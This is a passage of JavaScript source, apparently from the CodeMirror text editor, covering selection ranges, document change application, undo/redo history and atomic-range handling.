display.wheelDY) ||\n          (movedX && display.wheelDX && movedX / display.wheelDX);\n        display.wheelStartX = display.wheelStartY = null;\n        if (!sample) { return }\n        wheelPixelsPerUnit = (wheelPixelsPerUnit * wheelSamples + sample) / (wheelSamples + 1);\n        ++wheelSamples;\n      }, 200);\n    } else {\n      display.wheelDX += dx; display.wheelDY += dy;\n    }\n  }\n}\n\n// Selection objects are immutable. A new one is created every time\n// the selection changes. A selection is one or more non-overlapping\n// (and non-touching) ranges, sorted, and an integer that indicates\n// which one is the primary selection (the one that's scrolled into\n// view, that getCursor returns, etc).\nvar Selection = function(ranges, primIndex) {\n  this.ranges = ranges;\n  this.primIndex = primIndex;\n};\n\nSelection.prototype.primary = function () { return this.ranges[this.primIndex] };\n\nSelection.prototype.equals = function (other) {\n    var this$1 = this;\n\n  if (other == this) { return true }\n  if (other.primIndex != this.primIndex || other.ranges.length != this.ranges.length) { return false }\n  for (var i = 0; i < this.ranges.length; i++) {\n    var here = this$1.ranges[i], there = other.ranges[i];\n    if (!equalCursorPos(here.anchor, there.anchor) || !equalCursorPos(here.head, there.head)) { return false }\n  }\n  return true\n};\n\nSelection.prototype.deepCopy = function () {\n    var this$1 = this;\n\n  var out = [];\n  for (var i = 0; i < this.ranges.length; i++)\n    { out[i] = new Range(copyPos(this$1.ranges[i].anchor), copyPos(this$1.ranges[i].head)); }\n  return new Selection(out, this.primIndex)\n};\n\nSelection.prototype.somethingSelected = function () {\n    var this$1 = this;\n\n  for (var i = 0; i < this.ranges.length; i++)\n    { if (!this$1.ranges[i].empty()) { return true } }\n  return false\n};\n\nSelection.prototype.contains = function (pos, end) {\n    var this$1 = this;\n\n  if (!end) { end = pos; }\n  for (var i = 0; i < this.ranges.length; i++) {\n    var range = this$1.ranges[i];\n    if (cmp(end, range.from()) >= 0 && cmp(pos, range.to()) <= 0)\n      { return i }\n  }\n  return -1\n};\n\nvar Range = function(anchor, head) {\n  this.anchor = anchor; this.head = head;\n};\n\nRange.prototype.from = function () { return minPos(this.anchor, this.head) };\nRange.prototype.to = function () { return maxPos(this.anchor, this.head) };\nRange.prototype.empty = function () { return this.head.line == this.anchor.line && this.head.ch == this.anchor.ch };\n\n// Take an unsorted, potentially overlapping set of ranges, and\n// build a selection out of it. 'Consumes' ranges array (modifying\n// it).\nfunction normalizeSelection(ranges, primIndex) {\n  var prim = ranges[primIndex];\n  ranges.sort(function (a, b) { return cmp(a.from(), b.from()); });\n  primIndex = indexOf(ranges, prim);\n  for (var i = 1; i < ranges.length; i++) {\n    var cur = ranges[i], prev = ranges[i - 1];\n    if (cmp(prev.to(), cur.from()) >= 0) {\n      var from = minPos(prev.from(), cur.from()), to = maxPos(prev.to(), cur.to());\n      var inv = prev.empty() ? cur.from() == cur.head : prev.from() == prev.head;\n      if (i <= primIndex) { --primIndex; }\n      ranges.splice(--i, 2, new Range(inv ? to : from, inv ? from : to));\n    }\n  }\n  return new Selection(ranges, primIndex)\n}\n\nfunction simpleSelection(anchor, head) {\n  return new Selection([new Range(anchor, head || anchor)], 0)\n}\n\n// Compute the position of the end of a change (its 'to' property\n// refers to the pre-change end).\nfunction changeEnd(change) {\n  if (!change.text) { return change.to }\n  return Pos(change.from.line + change.text.length - 1,\n             lst(change.text).length + (change.text.length == 1 ? change.from.ch : 0))\n}\n\n// Adjust a position to refer to the post-change position of the\n// same text, or the end of the change if the change covers it.\nfunction adjustForChange(pos, change) {\n  if (cmp(pos, change.from) < 0) { return pos }\n  if (cmp(pos, change.to) <= 0) { return changeEnd(change) }\n\n  var line = pos.line + change.text.length - (change.to.line - change.from.line) - 1, ch = pos.ch;\n  if (pos.line == change.to.line) { ch += changeEnd(change).ch - change.to.ch; }\n  return Pos(line, ch)\n}\n\nfunction computeSelAfterChange(doc, change) {\n  var out = [];\n  for (var i = 0; i < doc.sel.ranges.length; i++) {\n    var range = doc.sel.ranges[i];\n    out.push(new Range(adjustForChange(range.anchor, change),\n                       adjustForChange(range.head, change)));\n  }\n  return normalizeSelection(out, doc.sel.primIndex)\n}\n\nfunction offsetPos(pos, old, nw) {\n  if (pos.line == old.line)\n    { return Pos(nw.line, pos.ch - old.ch + nw.ch) }\n  else\n    { return Pos(nw.line + (pos.line - old.line), pos.ch) }\n}\n\n// Used by replaceSelections to allow moving the selection to the\n// start or around the replaced test. Hint may be \"start\" or \"around\".\nfunction computeReplacedSel(doc, changes, hint) {\n  var out = [];\n  var oldPrev = Pos(doc.first, 0), newPrev = oldPrev;\n  for (var i = 0; i < changes.length; i++) {\n    var change = changes[i];\n    var from = offsetPos(change.from, oldPrev, newPrev);\n    var to = offsetPos(changeEnd(change), oldPrev, newPrev);\n    oldPrev = change.to;\n    newPrev = to;\n    if (hint == \"around\") {\n      var range = doc.sel.ranges[i], inv = cmp(range.head, range.anchor) < 0;\n      out[i] = new Range(inv ? to : from, inv ? from : to);\n    } else {\n      out[i] = new Range(from, from);\n    }\n  }\n  return new Selection(out, doc.sel.primIndex)\n}\n\n// Used to get the editor into a consistent state again when options change.\n\nfunction loadMode(cm) {\n  cm.doc.mode = getMode(cm.options, cm.doc.modeOption);\n  resetModeState(cm);\n}\n\nfunction resetModeState(cm) {\n  cm.doc.iter(function (line) {\n    if (line.stateAfter) { line.stateAfter = null; }\n    if (line.styles) { line.styles = null; }\n  });\n  cm.doc.modeFrontier = cm.doc.highlightFrontier = cm.doc.first;\n  startWorker(cm, 100);\n  cm.state.modeGen++;\n  if (cm.curOp) { regChange(cm); }\n}\n\n// DOCUMENT DATA STRUCTURE\n\n// By default, updates that start and end at the beginning of a line\n// are treated specially, in order to make the association of line\n// widgets and marker elements with the text behave more intuitive.\nfunction isWholeLineUpdate(doc, change) {\n  return change.from.ch == 0 && change.to.ch == 0 && lst(change.text) == \"\" &&\n    (!doc.cm || doc.cm.options.wholeLineUpdateBefore)\n}\n\n// Perform a change on the document data structure.\nfunction updateDoc(doc, change, markedSpans, estimateHeight$$1) {\n  function spansFor(n) {return markedSpans ? markedSpans[n] : null}\n  function update(line, text, spans) {\n    updateLine(line, text, spans, estimateHeight$$1);\n    signalLater(line, \"change\", line, change);\n  }\n  function linesFor(start, end) {\n    var result = [];\n    for (var i = start; i < end; ++i)\n      { result.push(new Line(text[i], spansFor(i), estimateHeight$$1)); }\n    return result\n  }\n\n  var from = change.from, to = change.to, text = change.text;\n  var firstLine = getLine(doc, from.line), lastLine = getLine(doc, to.line);\n  var lastText = lst(text), lastSpans = spansFor(text.length - 1), nlines = to.line - from.line;\n\n  // Adjust the line structure\n  if (change.full) {\n    doc.insert(0, linesFor(0, text.length));\n    doc.remove(text.length, doc.size - text.length);\n  } else if (isWholeLineUpdate(doc, change)) {\n    // This is a whole-line replace. Treated specially to make\n    // sure line objects move the way they are supposed to.\n    var added = linesFor(0, text.length - 1);\n    update(lastLine, lastLine.text, lastSpans);\n    if (nlines) { doc.remove(from.line, nlines); }\n    if (added.length) { doc.insert(from.line, added); }\n  } else if (firstLine == lastLine) {\n    if (text.length == 1) {\n      update(firstLine, firstLine.text.slice(0, from.ch) + lastText + firstLine.text.slice(to.ch), lastSpans);\n    } else {\n      var added$1 = linesFor(1, text.length - 1);\n      added$1.push(new Line(lastText + firstLine.text.slice(to.ch), lastSpans, estimateHeight$$1));\n      update(firstLine, firstLine.text.slice(0, from.ch) + text[0], spansFor(0));\n      doc.insert(from.line + 1, added$1);\n    }\n  } else if (text.length == 1) {\n    update(firstLine, firstLine.text.slice(0, from.ch) + text[0] + lastLine.text.slice(to.ch), spansFor(0));\n    doc.remove(from.line + 1, nlines);\n  } else {\n    update(firstLine, firstLine.text.slice(0, from.ch) + text[0], spansFor(0));\n    update(lastLine, lastText + lastLine.text.slice(to.ch), lastSpans);\n    var added$2 = linesFor(1, text.length - 1);\n    if (nlines > 1) { doc.remove(from.line + 1, nlines - 1); }\n    doc.insert(from.line + 1, added$2);\n  }\n\n  signalLater(doc, \"change\", doc, change);\n}\n\n// Call f for all linked documents.\nfunction linkedDocs(doc, f, sharedHistOnly) {\n  function propagate(doc, skip, sharedHist) {\n    if (doc.linked) { for (var i = 0; i < doc.linked.length; ++i) {\n      var rel = doc.linked[i];\n      if (rel.doc == skip) { continue }\n      var shared = sharedHist && rel.sharedHist;\n      if (sharedHistOnly && !shared) { continue }\n      f(rel.doc, shared);\n      propagate(rel.doc, doc, shared);\n    } }\n  }\n  propagate(doc, null, true);\n}\n\n// Attach a document to an editor.\nfunction attachDoc(cm, doc) {\n  if (doc.cm) { throw new Error(\"This document is already in use.\") }\n  cm.doc = doc;\n  doc.cm = cm;\n  estimateLineHeights(cm);\n  loadMode(cm);\n  setDirectionClass(cm);\n  if (!cm.options.lineWrapping) { findMaxLine(cm); }\n  cm.options.mode = doc.modeOption;\n  regChange(cm);\n}\n\nfunction setDirectionClass(cm) {\n  (cm.doc.direction == \"rtl\" ? addClass : rmClass)(cm.display.lineDiv, \"CodeMirror-rtl\");\n}\n\nfunction directionChanged(cm) {\n  runInOp(cm, function () {\n    setDirectionClass(cm);\n    regChange(cm);\n  });\n}\n\nfunction History(startGen) {\n  // Arrays of change events and selections. Doing something adds an\n  // event to done and clears undo. Undoing moves events from done\n  // to undone, redoing moves them in the other direction.\n  this.done = []; this.undone = [];\n  this.undoDepth = Infinity;\n  // Used to track when changes can be merged into a single undo\n  // event\n  this.lastModTime = this.lastSelTime = 0;\n  this.lastOp = this.lastSelOp = null;\n  this.lastOrigin = this.lastSelOrigin = null;\n  // Used by the isClean() method\n  this.generation = this.maxGeneration = startGen || 1;\n}\n\n// Create a history change event from an updateDoc-style change\n// object.\nfunction historyChangeFromChange(doc, change) {\n  var histChange = {from: copyPos(change.from), to: changeEnd(change), text: getBetween(doc, change.from, change.to)};\n  attachLocalSpans(doc, histChange, change.from.line, change.to.line + 1);\n  linkedDocs(doc, function (doc) { return attachLocalSpans(doc, histChange, change.from.line, change.to.line + 1); }, true);\n  return histChange\n}\n\n// Pop all selection events off the end of a history array. Stop at\n// a change event.\nfunction clearSelectionEvents(array) {\n  while (array.length) {\n    var last = lst(array);\n    if (last.ranges) { array.pop(); }\n    else { break }\n  }\n}\n\n// Find the top change event in the history. Pop off selection\n// events that are in the way.\nfunction lastChangeEvent(hist, force) {\n  if (force) {\n    clearSelectionEvents(hist.done);\n    return lst(hist.done)\n  } else if (hist.done.length && !lst(hist.done).ranges) {\n    return lst(hist.done)\n  } else if (hist.done.length > 1 && !hist.done[hist.done.length - 2].ranges) {\n    hist.done.pop();\n    return lst(hist.done)\n  }\n}\n\n// Register a change in the history. Merges changes that are within\n// a single operation, or are close together with an origin that\n// allows merging (starting with \"+\") into a single event.\nfunction addChangeToHistory(doc, change, selAfter, opId) {\n  var hist = doc.history;\n  hist.undone.length = 0;\n  var time = +new Date, cur;\n  var last;\n\n  if ((hist.lastOp == opId ||\n       hist.lastOrigin == change.origin && change.origin &&\n       ((change.origin.charAt(0) == \"+\" && doc.cm && hist.lastModTime > time - doc.cm.options.historyEventDelay) ||\n        change.origin.charAt(0) == \"*\")) &&\n      (cur = lastChangeEvent(hist, hist.lastOp == opId))) {\n    // Merge this change into the last event\n    last = lst(cur.changes);\n    if (cmp(change.from, change.to) == 0 && cmp(change.from, last.to) == 0) {\n      // Optimized case for simple insertion -- don't want to add\n      // new changesets for every character typed\n      last.to = changeEnd(change);\n    } else {\n      // Add new sub-event\n      cur.changes.push(historyChangeFromChange(doc, change));\n    }\n  } else {\n    // Can not be merged, start a new event.\n    var before = lst(hist.done);\n    if (!before || !before.ranges)\n      { pushSelectionToHistory(doc.sel, hist.done); }\n    cur = {changes: [historyChangeFromChange(doc, change)],\n           generation: hist.generation};\n    hist.done.push(cur);\n    while (hist.done.length > hist.undoDepth) {\n      hist.done.shift();\n      if (!hist.done[0].ranges) { hist.done.shift(); }\n    }\n  }\n  hist.done.push(selAfter);\n  hist.generation = ++hist.maxGeneration;\n  hist.lastModTime = hist.lastSelTime = time;\n  hist.lastOp = hist.lastSelOp = opId;\n  hist.lastOrigin = hist.lastSelOrigin = change.origin;\n\n  if (!last) { signal(doc, \"historyAdded\"); }\n}\n\nfunction selectionEventCanBeMerged(doc, origin, prev, sel) {\n  var ch = origin.charAt(0);\n  return ch == \"*\" ||\n    ch == \"+\" &&\n    prev.ranges.length == sel.ranges.length &&\n    prev.somethingSelected() == sel.somethingSelected() &&\n    new Date - doc.history.lastSelTime <= (doc.cm ? doc.cm.options.historyEventDelay : 500)\n}\n\n// Called whenever the selection changes, sets the new selection as\n// the pending selection in the history, and pushes the old pending\n// selection into the 'done' array when it was significantly\n// different (in number of selected ranges, emptiness, or time).\nfunction addSelectionToHistory(doc, sel, opId, options) {\n  var hist = doc.history, origin = options && options.origin;\n\n  // A new event is started when the previous origin does not match\n  // the current, or the origins don't allow matching. Origins\n  // starting with * are always merged, those starting with + are\n  // merged when similar and close together in time.\n  if (opId == hist.lastSelOp ||\n      (origin && hist.lastSelOrigin == origin &&\n       (hist.lastModTime == hist.lastSelTime && hist.lastOrigin == origin ||\n        selectionEventCanBeMerged(doc, origin, lst(hist.done), sel))))\n    { hist.done[hist.done.length - 1] = sel; }\n  else\n    { pushSelectionToHistory(sel, hist.done); }\n\n  hist.lastSelTime = +new Date;\n  hist.lastSelOrigin = origin;\n  hist.lastSelOp = opId;\n  if (options && options.clearRedo !== false)\n    { clearSelectionEvents(hist.undone); }\n}\n\nfunction pushSelectionToHistory(sel, dest) {\n  var top = lst(dest);\n  if (!(top && top.ranges && top.equals(sel)))\n    { dest.push(sel); }\n}\n\n// Used to store marked span information in the history.\nfunction attachLocalSpans(doc, change, from, to) {\n  var existing = change[\"spans_\" + doc.id], n = 0;\n  doc.iter(Math.max(doc.first, from), Math.min(doc.first + doc.size, to), function (line) {\n    if (line.markedSpans)\n      { (existing || (existing = change[\"spans_\" + doc.id] = {}))[n] = line.markedSpans; }\n    ++n;\n  });\n}\n\n// When un/re-doing restores text containing marked spans, those\n// that have been explicitly cleared should not be restored.\nfunction removeClearedSpans(spans) {\n  if (!spans) { return null }\n  var out;\n  for (var i = 0; i < spans.length; ++i) {\n    if (spans[i].marker.explicitlyCleared) { if (!out) { out = spans.slice(0, i); } }\n    else if (out) { out.push(spans[i]); }\n  }\n  return !out ? spans : out.length ? out : null\n}\n\n// Retrieve and filter the old marked spans stored in a change event.\nfunction getOldSpans(doc, change) {\n  var found = change[\"spans_\" + doc.id];\n  if (!found) { return null }\n  var nw = [];\n  for (var i = 0; i < change.text.length; ++i)\n    { nw.push(removeClearedSpans(found[i])); }\n  return nw\n}\n\n// Used for un/re-doing changes from the history. Combines the\n// result of computing the existing spans with the set of spans that\n// existed in the history (so that deleting around a span and then\n// undoing brings back the span).\nfunction mergeOldSpans(doc, change) {\n  var old = getOldSpans(doc, change);\n  var stretched = stretchSpansOverChange(doc, change);\n  if (!old) { return stretched }\n  if (!stretched) { return old }\n\n  for (var i = 0; i < old.length; ++i) {\n    var oldCur = old[i], stretchCur = stretched[i];\n    if (oldCur && stretchCur) {\n      spans: for (var j = 0; j < stretchCur.length; ++j) {\n        var span = stretchCur[j];\n        for (var k = 0; k < oldCur.length; ++k)\n          { if (oldCur[k].marker == span.marker) { continue spans } }\n        oldCur.push(span);\n      }\n    } else if (stretchCur) {\n      old[i] = stretchCur;\n    }\n  }\n  return old\n}\n\n// Used both to provide a JSON-safe object in .getHistory, and, when\n// detaching a document, to split the history in two\nfunction copyHistoryArray(events, newGroup, instantiateSel) {\n  var copy = [];\n  for (var i = 0; i < events.length; ++i) {\n    var event = events[i];\n    if (event.ranges) {\n      copy.push(instantiateSel ? Selection.prototype.deepCopy.call(event) : event);\n      continue\n    }\n    var changes = event.changes, newChanges = [];\n    copy.push({changes: newChanges});\n    for (var j = 0; j < changes.length; ++j) {\n      var change = changes[j], m = (void 0);\n      newChanges.push({from: change.from, to: change.to, text: change.text});\n      if (newGroup) { for (var prop in change) { if (m = prop.match(/^spans_(\\d+)$/)) {\n        if (indexOf(newGroup, Number(m[1])) > -1) {\n          lst(newChanges)[prop] = change[prop];\n          delete change[prop];\n        }\n      } } }\n    }\n  }\n  return copy\n}\n\n// The 'scroll' parameter given to many of these indicated whether\n// the new cursor position should be scrolled into view after\n// modifying the selection.\n\n// If shift is held or the extend flag is set, extends a range to\n// include a given position (and optionally a second position).\n// Otherwise, simply returns the range between the given positions.\n// Used for cursor motion and such.\nfunction extendRange(range, head, other, extend) {\n  if (extend) {\n    var anchor = range.anchor;\n    if (other) {\n      var posBefore = cmp(head, anchor) < 0;\n      if (posBefore != (cmp(other, anchor) < 0)) {\n        anchor = head;\n        head = other;\n      } else if (posBefore != (cmp(head, other) < 0)) {\n        head = other;\n      }\n    }\n    return new Range(anchor, head)\n  } else {\n    return new Range(other || head, head)\n  }\n}\n\n// Extend the primary selection range, discard the rest.\nfunction extendSelection(doc, head, other, options, extend) {\n  if (extend == null) { extend = doc.cm && (doc.cm.display.shift || doc.extend); }\n  setSelection(doc, new Selection([extendRange(doc.sel.primary(), head, other, extend)], 0), options);\n}\n\n// Extend all selections (pos is an array of selections with length\n// equal the number of selections)\nfunction extendSelections(doc, heads, options) {\n  var out = [];\n  var extend = doc.cm && (doc.cm.display.shift || doc.extend);\n  for (var i = 0; i < doc.sel.ranges.length; i++)\n    { out[i] = extendRange(doc.sel.ranges[i], heads[i], null, extend); }\n  var newSel = normalizeSelection(out, doc.sel.primIndex);\n  setSelection(doc, newSel, options);\n}\n\n// Updates a single range in the selection.\nfunction replaceOneSelection(doc, i, range, options) {\n  var ranges = doc.sel.ranges.slice(0);\n  ranges[i] = range;\n  setSelection(doc, normalizeSelection(ranges, doc.sel.primIndex), options);\n}\n\n// Reset the selection to a single range.\nfunction setSimpleSelection(doc, anchor, head, options) {\n  setSelection(doc, simpleSelection(anchor, head), options);\n}\n\n// Give beforeSelectionChange handlers a change to influence a\n// selection update.\nfunction filterSelectionChange(doc, sel, options) {\n  var obj = {\n    ranges: sel.ranges,\n    update: function(ranges) {\n      var this$1 = this;\n\n      this.ranges = [];\n      for (var i = 0; i < ranges.length; i++)\n        { this$1.ranges[i] = new Range(clipPos(doc, ranges[i].anchor),\n                                   clipPos(doc, ranges[i].head)); }\n    },\n    origin: options && options.origin\n  };\n  signal(doc, \"beforeSelectionChange\", doc, obj);\n  if (doc.cm) { signal(doc.cm, \"beforeSelectionChange\", doc.cm, obj); }\n  if (obj.ranges != sel.ranges) { return normalizeSelection(obj.ranges, obj.ranges.length - 1) }\n  else { return sel }\n}\n\nfunction setSelectionReplaceHistory(doc, sel, options) {\n  var done = doc.history.done, last = lst(done);\n  if (last && last.ranges) {\n    done[done.length - 1] = sel;\n    setSelectionNoUndo(doc, sel, options);\n  } else {\n    setSelection(doc, sel, options);\n  }\n}\n\n// Set a new selection.\nfunction setSelection(doc, sel, options) {\n  setSelectionNoUndo(doc, sel, options);\n  addSelectionToHistory(doc, doc.sel, doc.cm ? doc.cm.curOp.id : NaN, options);\n}\n\nfunction setSelectionNoUndo(doc, sel, options) {\n  if (hasHandler(doc, \"beforeSelectionChange\") || doc.cm && hasHandler(doc.cm, \"beforeSelectionChange\"))\n    { sel = filterSelectionChange(doc, sel, options); }\n\n  var bias = options && options.bias ||\n    (cmp(sel.primary().head, doc.sel.primary().head) < 0 ? -1 : 1);\n  setSelectionInner(doc, skipAtomicInSelection(doc, sel, bias, true));\n\n  if (!(options && options.scroll === false) && doc.cm)\n    { ensureCursorVisible(doc.cm); }\n}\n\nfunction setSelectionInner(doc, sel) {\n  if (sel.equals(doc.sel)) { return }\n\n  doc.sel = sel;\n\n  if (doc.cm) {\n    doc.cm.curOp.updateInput = doc.cm.curOp.selectionChanged = true;\n    signalCursorActivity(doc.cm);\n  }\n  signalLater(doc, \"cursorActivity\", doc);\n}\n\n// Verify that the selection does not partially select any atomic\n// marked ranges.\nfunction reCheckSelection(doc) {\n  setSelectionInner(doc, skipAtomicInSelection(doc, doc.sel, null, false));\n}\n\n// Return a selection that does not partially select any atomic\n// ranges.\nfunction skipAtomicInSelection(doc, sel, bias, mayClear) {\n  var out;\n  for (var i = 0; i < sel.ranges.length; i++) {\n    var range = sel.ranges[i];\n    var old = sel.ranges.length == doc.sel.ranges.length && doc.sel.ranges[i];\n    var newAnchor = skipAtomic(doc, range.anchor, old && old.anchor, bias, mayClear);\n    var newHead = skipAtomic(doc, range.head, old && old.head, bias, mayClear);\n    if (out || newAnchor != range.anchor || newHead != range.head) {\n      if (!out) { out = sel.ranges.slice(0, i); }\n      out[i] = new Range(newAnchor, newHead);\n    }\n  }\n  return out ? normalizeSelection(out, sel.primIndex) : sel\n}\n\nfunction skipAtomicInner(doc, pos, oldPos, dir, mayClear) {\n  var line = getLine(doc, pos.line);\n  if (line.markedSpans) { for (var i = 0; i < line.markedSpans.length; ++i) {\n    var sp = line.markedSpans[i], m = sp.marker;\n    if ((sp.from == null || (m.inclusiveLeft ? sp.from <= pos.ch : sp.from < pos.ch)) &&\n        (sp.to == null || (m.inclusiveRight ? sp.to >= pos.ch : sp.to > pos.ch))) {\n      if (mayClear) {\n        signal(m, \"beforeCursorEnter\");\n        if (m.explicitlyCleared) {\n          if (!line.markedSpans) { break }\n          else {--i; continue}\n        }\n      }\n      if (!m.atomic) { continue }\n\n      if (oldPos) {\n        var near = m.find(dir < 0 ? 1 : -1), diff = (void 0);\n        if (dir < 0 ? m.inclusiveRight : m.inclusiveLeft)\n          { near = movePos(doc, near, -dir, near && near.line == pos.line ? line : null); }\n        if (near && near.line == pos.line && (diff = cmp(near, oldPos)) && (dir < 0 ? diff < 0 : diff > 0))\n          { return skipAtomicInner(doc, near, pos, dir, mayClear) }\n      }\n\n      var far = m.find(dir < 0 ? -1 : 1);\n      if (dir < 0 ? m.inclusiveLeft : m.inclusiveRight)\n        { far = movePos(doc, far, dir, far.line == pos.line ? line : null); }\n      return far ? skipAtomicInner(doc, far, pos, dir, mayClear) : null\n    }\n  } }\n  return pos\n}\n\n// Ensure a given position is not inside an atomic range.\nfunction skipAtomic(doc, pos, oldPos, bias, mayClear) {\n  var dir = bias || 1;\n  var found = skipAtomicInner(doc, pos, oldPos, dir, mayClear) ||\n      (!mayClear && skipAtomicInner(doc, pos, oldPos, dir, true)) ||\n      skipAtomicInner(doc, pos, oldPos, -dir, mayClear) ||\n      (!mayClear && skipAtomicInner(doc, pos, oldPos, -dir, true));\n  if (!found) {\n    doc.cantEdit = true;\n    return Pos(doc.first, 0)\n  }\n  return found\n}\n\nfunction movePos(doc, pos, dir, line) {\n  if (dir < 0 && pos.ch == 0) {\n    if (pos.line > doc.first) { return clipPos(doc, Pos(pos.line - 1)) }\n    else { return null }\n  } else if (dir > 0 && pos.ch == (line || getLine(doc, pos.line)).text.length) {\n    if (pos.line < doc.first + doc.size - 1) { return Pos(pos.line + 1, 0) }\n    else { return null }\n  } else {\n    return new Pos(pos.line, pos.ch + dir)\n  }\n}\n\nfunction selectAll(cm) {\n  cm.setSelection(Pos(cm.firstLine(), 0), Pos(cm.lastLine()), sel_dontScroll);\n}\n\n// UPDATING\n\n// Allow \"beforeChange\" event handlers to influence a change\nfunction filterChange(doc, change, update) {\n  var obj = {\n    canceled: false,\n    from: change.from,\n    to: change.to,\n    text: change.text,\n    origin: change.origin,\n    cancel: function () { return obj.canceled = true; }\n  };\n  if (update) { obj.update = function (from, to, text, origin) {\n    if (from) { obj.from = clipPos(doc, from); }\n    if (to) { obj.to = clipPos(doc, to); }\n    if (text) { obj.text = text; }\n    if (origin !== undefined) { obj.origin = origin; }\n  }; }\n  signal(doc, \"beforeChange\", doc, obj);\n  if (doc.cm) { signal(doc.cm, \"beforeChange\", doc.cm, obj); }\n\n  if (obj.canceled) { return null }\n  return {from: obj.from, to: obj.to, text: obj.text, origin: obj.origin}\n}\n\n// Apply a change to a document, and add it to the document's\n// history, and propagating it to all linked documents.\nfunction makeChange(doc, change, ignoreReadOnly) {\n  if (doc.cm) {\n    if (!doc.cm.curOp) { return operation(doc.cm, makeChange)(doc, change, ignoreReadOnly) }\n    if (doc.cm.state.suppressEdits) { return }\n  }\n\n  if (hasHandler(doc, \"beforeChange\") || doc.cm && hasHandler(doc.cm, \"beforeChange\")) {\n    change = filterChange(doc, change, true);\n    if (!change) { return }\n  }\n\n  // Possibly split or suppress the update based on the presence\n  // of read-only spans in its range.\n  var split = sawReadOnlySpans && !ignoreReadOnly && removeReadOnlyRanges(doc, change.from, change.to);\n  if (split) {\n    for (var i = split.length - 1; i >= 0; --i)\n      { makeChangeInner(doc, {from: split[i].from, to: split[i].to, text: i ? [\"\"] : change.text}); }\n  } else {\n    makeChangeInner(doc, change);\n  }\n}\n\nfunction makeChangeInner(doc, change) {\n  if (change.text.length == 1 && change.text[0] == \"\" && cmp(change.from, change.to) == 0) { return }\n  var selAfter = computeSelAfterChange(doc, change);\n  addChangeToHistory(doc, change, selAfter, doc.cm ? doc.cm.curOp.id : NaN);\n\n  makeChangeSingleDoc(doc, change, selAfter, stretchSpansOverChange(doc, change));\n  var rebased = [];\n\n  linkedDocs(doc, function (doc, sharedHist) {\n    if (!sharedHist && indexOf(rebased, doc.history) == -1) {\n      rebaseHist(doc.history, change);\n      rebased.push(doc.history);\n    }\n    makeChangeSingleDoc(doc, change, null, stretchSpansOverChange(doc, change));\n  });\n}\n\n// Revert a change stored in a document's history.\nfunction makeChangeFromHistory(doc, type, allowSelectionOnly) {\n  if (doc.cm && doc.cm.state.suppressEdits && !allowSelectionOnly) { return }\n\n  var hist = doc.history, event, selAfter = doc.sel;\n  var source = type == \"undo\" ? hist.done : hist.undone, dest = type == \"undo\" ? hist.undone : hist.done;\n\n  // Verify that there is a useable event (so that ctrl-z won't\n  // needlessly clear selection events)\n  var i = 0;\n  for (; i < source.length; i++) {\n    event = source[i];\n    if (allowSelectionOnly ? event.ranges && !event.equals(doc.sel) : !event.ranges)\n      { break }\n  }\n  if (i == source.length) { return }\n  hist.lastOrigin = hist.lastSelOrigin = null;\n\n  for (;;) {\n    event = source.pop();\n    if (event.ranges) {\n      pushSelectionToHistory(event, dest);\n      if (allowSelectionOnly && !event.equals(doc.sel)) {\n        setSelection(doc, event, {clearRedo: false});\n        return\n      }\n      selAfter = event;\n    }\n    else { break }\n  }\n\n  // Build up a reverse change object to add to the opposite history\n  // stack (redo when undoing, and vice versa).\n  var antiChanges = [];\n  pushSelectionToHistory(selAfter, dest);\n  dest.push({changes: antiChanges, generation: hist.generation});\n  hist.generation = event.generation || ++hist.maxGeneration;\n\n  var filter = hasHandler(doc, \"beforeChange\") || doc.cm && hasHandler(doc.cm, \"beforeChange\");\n\n  var loop = function ( i ) {\n    var change = event.changes[i];\n    change.origin = type;\n    if (filter && !filterChange(doc, change, false)) {\n      source.length = 0;\n      return {}\n    }\n\n    antiChanges.push(historyChangeFromChange(doc, change));\n\n    var after = i ? computeSelAfterChange(doc, change) : lst(source);\n    makeChangeSingleDoc(doc, change, after, mergeOldSpans(doc, change));\n    if (!i && doc.cm) { doc.cm.scrollIntoView({from: change.from, to: changeEnd(change)}); }\n    var rebased = [];\n\n    // Propagate to the linked documents\n    linkedDocs(doc, function (doc, sharedHist) {\n      if (!sharedHist && indexOf(rebased, doc.history) == -1) {\n        rebaseHist(doc.history, change);\n        rebased.push(doc.history);\n      }\n      makeChangeSingleDoc(doc, change, null, mergeOldSpans(doc, change));\n    });\n  };\n\n  for (var i$1 = event.changes.length - 1; i$1 >= 0; --i$1) {\n    var returned = loop( i$1 );\n\n    if ( returned ) return returned.v;\n  }\n}\n\n// Sub-views need their line numbers shifted when text is added\n// above or below them in the parent document.\nfunction shiftDoc(doc, distance) {\n  if (distance == 0) { return }\n  doc.first += distance;\n  doc.sel = new Selection(map(doc.sel.ranges, function (range) { return new Range(\n    Pos(range.anchor.line + distance, range.anchor.ch),\n    Pos(range.head.line + distance, range.head.ch)\n  ); }), doc.sel.primIndex);\n  if (doc.cm) {\n    regChange(doc.cm, doc.first, doc.first - distance, distance);\n    for (var d = doc.cm.display, l = d.viewFrom; l < d.viewTo; l++)\n      { regLineChange(doc.cm, l, \"gutter\"); }\n  }\n}\n\n// More lower-level change function, handling only a single document\n// (not linked ones).\nfunction makeChangeSingleDoc(doc, change, selAfter, spans) {\n  if (doc.cm && !doc.cm.curOp)\n    { return operation(doc.cm, makeChangeSingleDoc)(doc, change, selAfter, spans) }\n\n  if (change.to.line < doc.first) {\n    shiftDoc(doc, change.text.length - 1 - (change.to.line - change.from.line));\n    return\n  }\n  if (change.from.line > doc.lastLine()) { return }\n\n  // Clip the change to the size of this doc\n  if (change.from.line < doc.first) {\n    var shift = change.text.length - 1 - (doc.first - change.from.line);\n    shiftDoc(doc, shift);\n    change = {from: Pos(doc.first, 0), to: Pos(change.to.line + shift, change.to.ch),\n              text: [lst(change.text)], origin: change.origin};\n  }\n  var last = doc.lastLine();\n  if (change.to.line > last) {\n    change = {from: change.from, to: Pos(last, getLine(doc, last).text.length),\n              text: [change.text[0]], origin: change.origin};\n  }\n\n  change.removed = getBetween(doc, change.from, change.to);\n\n  if (!selAfter) { selAfter = computeSelAfterChange(doc, change); }\n  if (doc.cm) { makeChangeSingleDocInEditor(doc.cm, change, spans); }\n  else { updateDoc(doc, change, spans); }\n  setSelectionNoUndo(doc, selAfter, sel_dontScroll);\n}\n\n// Handle the interaction of a change to a document with the editor\n// that this document is part of.\nfunction makeChangeSingleDocInEditor(cm, change, spans) {\n  var doc = cm.doc, display = cm.display, from = change.from, to = change.to;\n\n  var recomputeMaxLength = false, checkWidthStart = from.line;\n  if (!cm.options.lineWrapping) {\n    checkWidthStart = lineNo(visualLine(getLine(doc, from.line)));\n    doc.iter(checkWidthStart, to.line + 1, function (line) {\n      if (line == display.maxLine) {\n        